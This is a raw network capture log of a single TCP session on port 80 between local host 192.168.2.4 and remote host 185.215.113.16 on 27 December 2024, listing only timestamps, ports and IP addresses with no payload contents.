Dec 27, 2024 08:45:21.960084915 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:21.960550070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.960688114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.960733891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:21.961268902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.961405039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.961447954 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:21.961973906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.962071896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.962145090 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:21.962682009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.962795973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.962836981 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:21.963419914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.963515997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.963598967 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:21.964139938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.964236021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.964277983 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:21.964879990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.964931965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.964976072 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:21.965539932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.965692043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.965739965 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:21.966276884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.966427088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.966480970 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:21.966975927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.967143059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.967196941 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:21.967693090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.967804909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.967848063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:21.968405962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.968513012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.968552113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:21.969140053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.969238043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.969300032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:21.969393015 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:21.969877958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.969948053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.969988108 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:21.970530987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.977138042 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:21.977302074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.977351904 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:21.977417946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.977658033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.977705002 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:21.977749109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.978362083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.978413105 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:21.978461027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.979063988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.979109049 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:21.979132891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.979794979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.979842901 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:21.979914904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.980530024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.980577946 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:21.980622053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.981219053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.981264114 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:21.981307983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.981933117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.981978893 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:21.982048988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.982651949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.982700109 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:21.982728004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.983390093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.983437061 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:21.983480930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:21.984075069 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.141654968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.141776085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.141843081 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.141952991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.142087936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.142141104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.142668009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.142805099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.142853022 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.143421888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.143527985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.143568039 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.144118071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.144279957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.144330025 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.144835949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.144942999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.145052910 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.145569086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.145678043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.145719051 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.146266937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.146342993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.146388054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.146965981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.147077084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.147164106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.147686958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.147787094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.147830963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.148403883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.148509026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.148550034 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.149111032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.149218082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.149260998 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.149830103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.149979115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.150032043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.150558949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.150700092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.150738955 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.151267052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.151375055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.151422024 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.151989937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.152091026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.152134895 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.152684927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.152813911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.152856112 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.153400898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.153515100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.153557062 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.154129982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.154242992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.154284000 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.154867887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.154956102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.154999018 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.155550957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.155647993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.155693054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.156258106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.156394958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.156438112 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.156969070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.157078981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.157139063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.157716990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.157830000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.157876968 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.158493042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.158628941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.158673048 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.159152031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.159240007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.159277916 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.159828901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.159940004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.159985065 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.160558939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.160686016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.160729885 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.161319017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.161420107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.161463022 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.162013054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.162163973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.162206888 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.162736893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.162832975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.162875891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.163413048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.163532972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.163579941 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.164150000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.164264917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.164302111 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.164848089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.164944887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.164983988 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.165539026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.165671110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.165714979 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.166246891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.166359901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.166404009 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.166968107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.167090893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.167135954 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.167680979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.167804003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.167864084 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.168395042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.168495893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.168536901 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.169122934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.169208050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.169311047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.169815063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.169936895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.169975996 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.170547009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.170665979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.170769930 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.171359062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.171432018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.171473980 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.171936989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.172178030 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.179559946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.179605961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.179624081 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.179774046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.179816008 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.179894924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.180489063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.180529118 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.180613995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.181211948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.181252956 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.181304932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.181914091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.181957960 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.182023048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.182655096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.182696104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.182742119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.183366060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.183410883 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.183476925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.184071064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.184118986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.184163094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.184832096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.184870005 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.184885979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.185492039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.185529947 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.185601950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.186774015 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.343050003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.343169928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.343240023 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.343332052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.343456984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.343586922 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.344063044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.344161987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.344202995 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.344806910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.344904900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.344949961 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.345626116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.345643997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.345750093 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.346187115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.346362114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.346402884 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.346914053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.347001076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.347042084 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.347620010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.347759962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.347796917 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.348335028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.348443031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.348486900 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.349045038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.349193096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.349231005 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.349766016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.349877119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.349916935 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.350501060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.350605011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.350641012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.351200104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.351290941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.351361036 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.351902008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.352011919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.352051973 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.352621078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.352730036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.352777004 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.353391886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.353432894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.353472948 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.354074001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.354178905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.354218960 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.354754925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.354861975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.354902983 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.355649948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.355737925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.355779886 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.356290102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.356405020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.356443882 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.356908083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.357017994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.357059002 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.357606888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.357722998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.357763052 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.358341932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.358478069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.358516932 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.359100103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.359256029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.359297037 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.359803915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.359874964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.359919071 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.360471964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.360790968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.360831976 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.361201048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.361330032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.361371994 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.361906052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.362024069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.362066984 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.362624884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.362725019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.362768888 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.363322020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.363465071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.363507032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.364063978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.364173889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.364216089 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.364777088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.364869118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.364912033 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.365467072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.365573883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.365617037 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.366203070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.366319895 CET	80	49744	185.215.113.16	192.168.2.4
